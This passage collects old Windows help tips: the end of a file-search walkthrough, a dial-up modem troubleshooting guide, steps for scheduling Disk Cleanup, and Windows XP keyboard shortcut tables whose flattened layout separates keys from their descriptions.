6. To search for files made or modified on a certain date or during a certain period of time, click the arrow next to When Was It Modified? This will bring up a list of options. If you know the date, you can click Specify Dates then type in the date in the spaces provided.

7. If you know the approximate size of the file, click the arrow next to What Size is It?


8. If you want to refine your search, click the arrow next to More Advanced Options.

9. If you know what kind of file you are looking for, click the down arrow under Type of File. A long list of file types will appear. (You might have to scroll through the list to find the file type you are looking for.) Click the file type.


10. Click the Search button. You will see a summary of your search criteria as Windows looks for your file.

11. When Windows finishes your search, you will see all of the files that meet your search criteria on the right side of the Search window.


How to Diagnose Telephone Modem Problems
Difficulty: Moderate In spite of inroads made by cable and DSL, telephone modems are still the most popular way to connect to the Internet, and they're an essential element of every road warrior's portable computer. Sometimes, though, they just refuse to make the connection. The following tips apply to both Windows and Mac computers (except steps 9 and 10, which are for Windows users only).


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STEP 1: Check your cable connections. If you have an external modem, check the serial cable between the computer and the modem. For both internal and external modems, check the phone cord connection. STEP 2: Make sure the modem is turned on and has power. If you have an internal modem, you can try removing it and reseating it. STEP 3: Check the phone line to make sure there's a dial tone. This is also a good time to make sure that a phone on the same line wasn't accidentally left off the hook. If your modem is on a dedicated phone line, connect a phone temporarily to check the line. STEP 4: If the modem is dialing but failing to connect, double-check that the phone number entered in your Internet connection program is correct. STEP 5: If you're using a notebook or laptop computer, make sure you don't still have a phone number entered for dialing out of a hotel or from a different area code.


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STEP 6: Use a telephone to dial the access number or fax number that you're attempting to connect to, then listen to make sure there's a data signal at the other end. STEP 7: Re-enter your password for the service you're trying to connect to. Passwords can accidentally get changed at the user end. STEP 8: If you're dialing an Internet service provider (ISP), contact it to make sure it isn't experiencing system problems that are preventing you from connecting. STEP 9: Test your modem in Windows by using the Modems control panel. Go to Start, Control Panel, Modems, then select the Diagnostics tab. Select the serial (COM) port your modem is installed on and click on More Info. Windows will perform diagnostic tests and show you a window that lists the commands that were sent to the modem and the responses. STEP 10: If you recently upgraded your Windows system software and your modem stops working or returns an error message, visit Microsoft's Product Support Services pages ( to see if there are specific compatibility issues with your modem. Search on "modem troubleshooting."

Overall Tips & Warnings

If your modem shares a phone line with a phone that has call-waiting, incoming calls might disrupt the modem connection. To get around this, you can temporarily disable call-waiting by adding *70 to the modem command string. You can do this easily in Windows via the Modems control panel's Dialing Properties settings.

Automatically clean up temp files on your hard drive Scheduling Disk Cleanup
Open up the Scheduled Tasks tool from the Start menu, either via Programs > Accessories > System Tools .........


......... or via Settings > Control Panel > Scheduled Tasks.

It's likely that some tasks have already been automatically set up, either by Windows or applications that you've installed.


Double-click Add Scheduled Task, to launch the Scheduled Task Wizard.

Click Next, scroll down the default list of programs and highlight Disk Cleanup.

Click Next.


Select the frequency ........

....... and the time you want the program to run.


Finally, enter your username and password.

Click Finish ......


........ and Disk Cleanup will now be appended to the list of scheduled tasks.


Keystroke shortcuts for Windows XP
Some keyboard shortcuts may not work if StickyKeys is turned on in Accessibility Options. If you are connected to Windows through Microsoft Terminal Services Client, some shortcuts have.

General Keystrokes
Use this key: F1 F3 Windows key or CTRL+Esc Windows key+E Windows key+R Windows key+M Windows key+M Alt+TAB Alt+F4 CTRL+C CTRL+X CTRL+V CTRL+Z DELETE SHIFT+DELETE Get help. Find file or folder Open the Start menu. Open Windows Explorer. Open Run dialoge. Minimise all applications. Minimise all applications. Switch between applications. Close current application. Copy. Cut. Paste. Undo. Delete. Delete selected item permanently without placing the item in the Recycle Bin. Copy selected item. To do this:

CTRL while dragging an item


General Keystrokes
Use this key: CTRL+SHIFT while dragging an item F2 CTRL+RIGHT ARROW CTRL+LEFT ARROW To do this: Create shortcut to selected item.

Rename selected item. Move the insertion point to the beginning of the next word. Move the insertion point to the beginning of the previous word. Move the insertion point to the beginning of the next paragraph. Move the insertion point to the beginning of the previous paragraph. Highlight a block of text.



CTRL+SHIFT with any of the arrow keys SHIFT with any of the arrow keys

Select more than one item in a window or on the desktop, or select text within a document. Select all. View properties for the selected item. Close the active item, or quit the active program. Opens the shortcut menu for the active window. Close the active document in programs that allow you to have multiple documents open simultaneously. Switch between open items. Cycle through items in the order they were opened. Display the Address bar list in My Computer or Windows Explorer. Refresh the active window. Cycle through screen elements in a window or on the desktop.



F5 F6


General Keystrokes
Use this key: SHIFT+F10 ALT+SPACEBAR CTRL+ESC ALT+Underlined letter in a menu name Underlined letter in a command name on an open menu F10 RIGHT ARROW LEFT ARROW BACKSPACE To do this: Display the shortcut menu for the selected item. Display the System menu for the active window. Display the Start menu. Display the corresponding menu.

Carry out the corresponding command.

Activate the menu bar in the active program. Open the next menu to the right, or open a submenu. Open the next menu to the left, or close a submenu. View the folder one level up in My Computer or Windows Explorer. Cancel the current task. Prevent the CD from automatically playing.

ESC SHIFT when you insert a CD into the CD-ROM drive

For Windows and Menus
Windows and Menus Keystrokes
Use this key: Alt+Space Alt Arrow keys ENTER To do this: Open the application control menu. Move to the menu bar. Move between menus. Choose a menu item.


Windows and Menus Keystrokes
Use this key: Esc To do this: Cancel or close a cacading menu, returning to the menu bar or move from the menu bar. Move from the menu bar or a cascading menu. Close a child window. Open the application pop-up menu.


Ctrl+F4 Shift+F10 or Applications pop-up menu key (immediately to the left of the right-hand one of the two Ctrl keys).

For Dialogue boxes
Dialogue box keystrokes
Use this key: TAB Shift+TAB Ctrl+TAB Ctrl+Shift+TAB Space or Ctrl+Space Space ALT+Underlined letter ENTER SPACEBAR Arrow keys F1 Move through dialogue controls. Move back through dialogue controls. Move to another page. Move back to another page. Select or deselect in list. Toggle a check-box on or off. Carry out the corresponding command or select the corresponding option. Carry out the command for the active option or button. Select or clear the check box if the active option is a check box. Select a button if the active option is a group of option buttons. Display Help. To do this:


Dialogue box keystrokes
Use this key: F4 BACKSPACE To do this: Display the items in the active list. Open a folder one level up if a folder is selected in the Save As or Open dialog box.

For Windows Explorer
Windows Explorer keystrokes
Use this key: DELETE Shift+DELETE F2 Alt+ENTER F5 F6 or TAB BACKSPACE END HOME NUM LOCK+ASTERISK on numeric keypad (*) NUM LOCK+PLUS SIGN on numeric keypad (+) NUM LOCK+MINUS SIGN on numeric keypad (-) LEFT ARROW To do this: Delete files (send to Recycle Bin). Delete files permanently. Rename a file or folder Properties for selected file or folder. Refresh window. Switch between windows. Go up one level. Display the bottom of the active window. Display the top of the active window. Display all subfolders under the selected folder.

Display the contents of the selected folder. Collapse the selected folder.

Collapse current selection if it's expanded, or select parent folder.


Windows Explorer keystrokes
Use this key: RIGHT ARROW To do this: Display current selection if it's collapsed, or select first subfolder.

For Editing Text
Text Editing keystrokes
Use this key: Ctrl+C Ctrl+X Ctrl+V Ctrl+Z DELETE Backspace Shift+Left arrow Shift+Right arrow Ctrl+Shift+Left arrow Ctrl+Shift+Right arrow Shift+Home Shift+End Ctrl+Shift+Home Ctrl+Shift+End Ctrl+A Copy. Cut. Paste. Undo. Delete current character. Delete prior character. Select one character left. Select one character right. Select one word left. Select one word right. Select to beginning of line. Select to end of line. Select to beginning. Select to end. Select all. To do this:


Natural Keyboard (Windows Key) Shortcuts
You can use the following keyboard shortcuts with a Microsoft Natural Keyboard or any other compatible keyboard that includes the Windows logo key WINKEY and the Application pop-up menu key MENU.

Windows Key shortcuts
Use this key: WINKEY WINKEY+BREAK WINKEY+D WINKEY+M WINKEY+Shift+M WINKEY+E WINKEY+F CTRL+WINKEY+F WINKEY+F1 WINKEY+L WINKEY+R MENU WINKEY+U To do this: Display or hide the Start menu. Display the System Properties dialog box. Show the desktop. Minimize all windows. Restores minimized windows. Open My Computer. Search for a file or folder. Search for computers. Display Windows Help. Lock your computer. Open the Run dialog box. Display the shortcut menu for the selected item. Open Utility Manager.

Accessibility Shortcuts
Accessibility Shortcuts
Use this key: Right SHIFT for eight seconds Left ALT +left SHIFT +PRINT SCREEN To do this: Switch FilterKeys on and off. Switch High Contrast on and off.


Accessibility Shortcuts
Use this key: Left ALT +left SHIFT +NUM LOCK SHIFT five times NUM LOCK for five seconds WINKEY+U To do this: Switch MouseKeys on and off. Switch StickyKeys on and off. Switch ToggleKeys on and off. Open Utility Manager.

Turning on StickyKeys
StickyKeys is designed for people who have difficulty holding down two or more keys simultaneously. When a shortcut requires a key combination, such as CTRL+P, StickyKeys will enable you to press a modifier key (CTRL, ALT, or SHIFT), or the Windows logo key (WINKEY), and have it remain active until another key is pressed.

1. Click Start, point to Settings, click Control Panel, and then double-click Accessibility Options. 2. On the Keyboard tab, under StickyKeys, select the Use StickyKeys check box.
To turn off StickyKeys, clear the Use StickyKeys check box. If the Use shortcut check box in the Settings for StickyKeys dialog box is selected, you can turn StickyKeys on or off by pressing the SHIFT key five times.


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